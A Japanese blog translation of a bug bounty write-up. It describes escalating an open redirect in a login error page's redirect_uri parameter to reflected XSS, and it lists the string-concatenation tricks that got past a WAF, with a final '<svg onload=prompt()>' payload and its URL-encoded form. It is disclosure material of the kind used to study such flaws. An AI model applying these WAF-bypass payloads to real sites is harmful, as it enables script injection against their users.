Shikata Ga Nai

Private? There is no such things.

1st Bug Bounty WriteUp: Open Redirect To XSS on Login Pageを訳してみた

Hello there, ('ω')ノ

 

1 番目のバグ報奨金の書き込み: ログイン ページで XSS へのリダイレクトを開くを。

 

脆弱性:

 オープンリダイレクト

 

記事:

 https://nassimchami.medium.com/1st-bug-bounty-writeup-open-redirect-to-xss-on-login-page-313221da2879

 

今回は、オープン リダイレクトから反映された xss へのエスカレーション方法を。

 

スコープ内に 80 のアセットを持つ redacted.net という

プライベート Web アプリケーション プログラムから招待状を受け取り。

それを 1 つずつ確認していき。

興味深いサブドメインに電子メールが入力されていることがわかり。

 

狩りを開始し、その仕組みがわかり。

ランダムな電子メールを追加して「次へ」をクリックすると、

URL に何かがあることに気づき次のようになり。

 

https://subdomain.redacted.net/error_page?redirect_uri={redirect_url}&message={error_message}&extra_message={error_message}

 

ページに表示されるエラーメッセージに関連する [message] と

[extra_message] という 3 つのパラメータがあり、

他のエラー メッセージで偽装することができて。

 

[redirect_uri] パラメータは、パラメータにある URL にリダイレクトする

ボタンに関連していて。

そこで、他の URL に変更すると、[ログインに戻る] をクリックすると

こっそりリダイレクトされ。

ここでXSS にエスカレーションしたいのですが、WAF がどのように機能するかを

2 時間試した後、それをバイパスして。

JavaScript への注入を行う場合、JavaScript コードとしては、

強化設定の WAF のように見えますが、注入ポイントがタグの場合はそうではなく。

それをバイパスしようとしたときに学んだことは次のとおりで。

 

    document.location.href=’//t.co’ is blocked.

文字列連結を使用してそれを参照しようとする場合は、

let tt=’documen’;let yy=’t’;let uu=’.locatio’;let ii=’n’;let oo=’.hre’;let pp=’f’;let aa=tt+yy+uu+ii+oo+pp;a=’//example.com’;

は、有効なコードですが機能せず。


    <tag> in javascript: context is blocked.
    let a=’<tag’;let b=’>’;c=a+b is not.
    let bb=’<svg onload=’ is blocked because onload event is triggered WAF.
    let bb=’<svg onload’;let cc=’=’ is not.
    (), `and let a=’(‘;let b=’)’` is blocked.
    let a=’)’;let b=’(‘ is not ! .

 

したがって、文字列連結を使用した最終的なペイロードは次のようになり。

 

let bb=’<svg onload’;let cc=’=’;dd=’promp’;ff=’)’;gg=’t(‘;hh=’>’;aa=bb+cc+dd+gg+ff+hh

 

ペイロードを URL としてエンコードして。

 

%6c%65%74%20%62%62%3d%27%3c%73%76%67%20%6f%6e%6c%6f%61%64%27%3b%6c%65%74%20%63%63%3d%27%3d%27%3b%64%64%3d%27%70%72%6f%6d%70%27%3b%66%66%3d%27%29%27%3b%67%67%3d%27%74%28%27%3b%68%68%3d%27%3e%27%3b%6c%6c%3d%62%62%2b%63%63%2b%64%64%2b%67%67%2b%66%66%2b%68%68

 

redirect_uri のペイロードを置き換えると、正常に動作して。

 

Best regards, (^^ゞ